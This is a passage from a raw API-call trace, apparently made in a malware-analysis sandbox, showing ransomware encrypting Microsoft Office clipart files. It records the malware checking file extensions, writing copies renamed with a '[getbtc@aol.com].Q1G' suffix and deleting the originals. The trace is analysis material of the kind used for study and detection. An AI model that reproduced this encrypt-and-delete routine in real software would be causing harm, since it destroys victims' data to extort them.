[0257.899] lstrlenW (lpString=".zip") returned 4 [0257.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.899] lstrlenW (lpString=".rar") returned 4 [0257.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.899] lstrlenW (lpString=".bz2") returned 4 [0257.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.899] lstrlenW (lpString=".7z") returned 3 [0257.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.899] lstrlenW (lpString=".dbf") returned 4 [0257.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.899] lstrlenW (lpString=".1cd") returned 4 [0257.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0257.899] lstrlenW (lpString=".jpg") returned 4 [0257.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.899] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.899] lstrlenW (lpString="J0107024.WMF") returned 12 [0257.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.900] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3020) returned 1 [0257.900] CloseHandle (hObject=0x3e4) returned 1 [0257.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0257.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.900] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.900] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.901] GetLastError () returned 0x0 [0257.901] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xbcc, lpOverlapped=0x0) returned 1 [0257.902] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0257.903] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.903] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.903] SetEndOfFile (hFile=0x388) returned 1 [0257.903] CloseHandle (hObject=0x388) returned 1 [0257.903] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.904] SetEndOfFile (hFile=0x3e4) returned 1 [0257.906] CloseHandle (hObject=0x3e4) returned 1 [0257.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString=".doc") returned 4 [0257.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString=".docx") returned 5 [0257.907] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.907] lstrlenW (lpString=".pdf") returned 4 [0257.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString=".xls") returned 4 [0257.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.907] lstrlenW (lpString=".xlsx") returned 5 [0257.907] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.907] lstrlenW (lpString=".ppt") returned 4 [0257.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString=".zip") returned 4 [0257.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.907] lstrlenW (lpString=".rar") returned 4 [0257.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString=".bz2") returned 4 [0257.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString=".7z") returned 3 [0257.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString=".dbf") returned 4 [0257.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString=".1cd") returned 4 [0257.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.907] lstrlenW (lpString=".jpg") returned 4 [0257.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString=".doc") returned 4 [0257.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString=".docx") returned 5 [0257.908] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.908] lstrlenW (lpString=".pdf") returned 4 [0257.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString=".xls") returned 4 [0257.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.908] lstrlenW (lpString=".xlsx") returned 5 [0257.908] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.908] lstrlenW (lpString=".ppt") returned 4 [0257.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString=".zip") returned 4 [0257.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.908] lstrlenW (lpString=".rar") returned 4 [0257.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString=".bz2") returned 4 [0257.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString=".7z") returned 3 [0257.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString=".dbf") returned 4 [0257.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString=".1cd") returned 4 [0257.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0257.908] lstrlenW (lpString=".jpg") returned 4 [0257.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.909] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.909] lstrlenW (lpString="J0107026.WMF") returned 12 [0257.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.909] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7632) returned 1 [0257.909] CloseHandle (hObject=0x3e4) returned 1 [0257.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 0x20 [0257.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0257.910] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.910] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.910] GetLastError () returned 0x0 [0257.910] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0258.027] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1de0, lpOverlapped=0x0) returned 1 [0258.028] ReadFile (in: hFile=0x3e4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.028] WriteFile (in: hFile=0x388, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.028] SetEndOfFile (hFile=0x388) returned 1 [0258.029] CloseHandle (hObject=0x388) returned 1 [0258.029] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.029] SetEndOfFile (hFile=0x3e4) returned 1 [0258.031] CloseHandle (hObject=0x3e4) returned 1 [0258.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0258.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.044] lstrlenW (lpString=".doc") returned 4 [0258.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString=".docx") returned 5 [0258.044] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.044] lstrlenW (lpString=".pdf") returned 4 [0258.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString=".xls") returned 4 [0258.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.044] lstrlenW (lpString=".xlsx") returned 5 [0258.044] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.044] lstrlenW (lpString=".ppt") returned 4 [0258.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.044] lstrlenW (lpString=".zip") returned 4 [0258.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.044] lstrlenW (lpString=".rar") returned 4 [0258.044] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString=".bz2") returned 4 [0258.044] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString=".7z") returned 3 [0258.044] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.044] lstrlenW (lpString=".dbf") returned 4 [0258.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.044] lstrlenW (lpString=".1cd") returned 4 [0258.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.045] lstrlenW (lpString=".jpg") returned 4 [0258.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.045] lstrlenW (lpString=".doc") returned 4 [0258.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.045] lstrlenW (lpString=".docx") returned 5 [0258.045] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0258.045] lstrlenW (lpString=".pdf") returned 4 [0258.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.045] lstrlenW (lpString=".xls") returned 4 [0258.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.046] lstrlenW (lpString=".xlsx") returned 5 [0258.046] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0258.046] lstrlenW (lpString=".ppt") returned 4 [0258.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.046] lstrlenW (lpString=".zip") returned 4 [0258.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.046] lstrlenW (lpString=".rar") returned 4 [0258.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.046] lstrlenW (lpString=".bz2") returned 4 [0258.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.046] lstrlenW (lpString=".7z") returned 3 [0258.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.046] lstrlenW (lpString=".dbf") returned 4 [0258.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.046] lstrlenW (lpString=".1cd") returned 4 [0258.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0258.046] lstrlenW (lpString=".jpg") returned 4 [0258.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.046] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.046] lstrlenW (lpString="J0107132.WMF") returned 12 [0258.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.047] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=48380) returned 1 [0258.047] CloseHandle (hObject=0x390) returned 1 [0258.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0258.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.047] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.047] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.048] GetLastError () returned 0x0 [0258.048] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0258.061] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xbd00, lpOverlapped=0x0) returned 1 [0258.063] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.063] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.063] SetEndOfFile (hFile=0x3c0) returned 1 [0258.063] CloseHandle (hObject=0x3c0) returned 1 [0258.063] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.063] SetEndOfFile (hFile=0x390) returned 1 [0258.065] CloseHandle (hObject=0x390) returned 1 [0258.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.070] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0258.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.071] lstrlenW (lpString=".doc") returned 4 [0258.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString=".docx") returned 5 [0258.071] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.071] lstrlenW (lpString=".pdf") returned 4 [0258.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString=".xls") returned 4 [0258.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.071] lstrlenW (lpString=".xlsx") returned 5 [0258.071] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.071] lstrlenW (lpString=".ppt") returned 4 [0258.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.071] lstrlenW (lpString=".zip") returned 4 [0258.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.071] lstrlenW (lpString=".rar") returned 4 [0258.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString=".bz2") returned 4 [0258.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString=".7z") returned 3 [0258.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.071] lstrlenW (lpString=".dbf") returned 4 [0258.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".1cd") returned 4 [0258.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".jpg") returned 4 [0258.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".doc") returned 4 [0258.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString=".docx") returned 5 [0258.072] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.072] lstrlenW (lpString=".pdf") returned 4 [0258.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString=".xls") returned 4 [0258.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.072] lstrlenW (lpString=".xlsx") returned 5 [0258.072] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.072] lstrlenW (lpString=".ppt") returned 4 [0258.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".zip") returned 4 [0258.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.072] lstrlenW (lpString=".rar") returned 4 [0258.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString=".bz2") returned 4 [0258.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString=".7z") returned 3 [0258.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".dbf") returned 4 [0258.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft 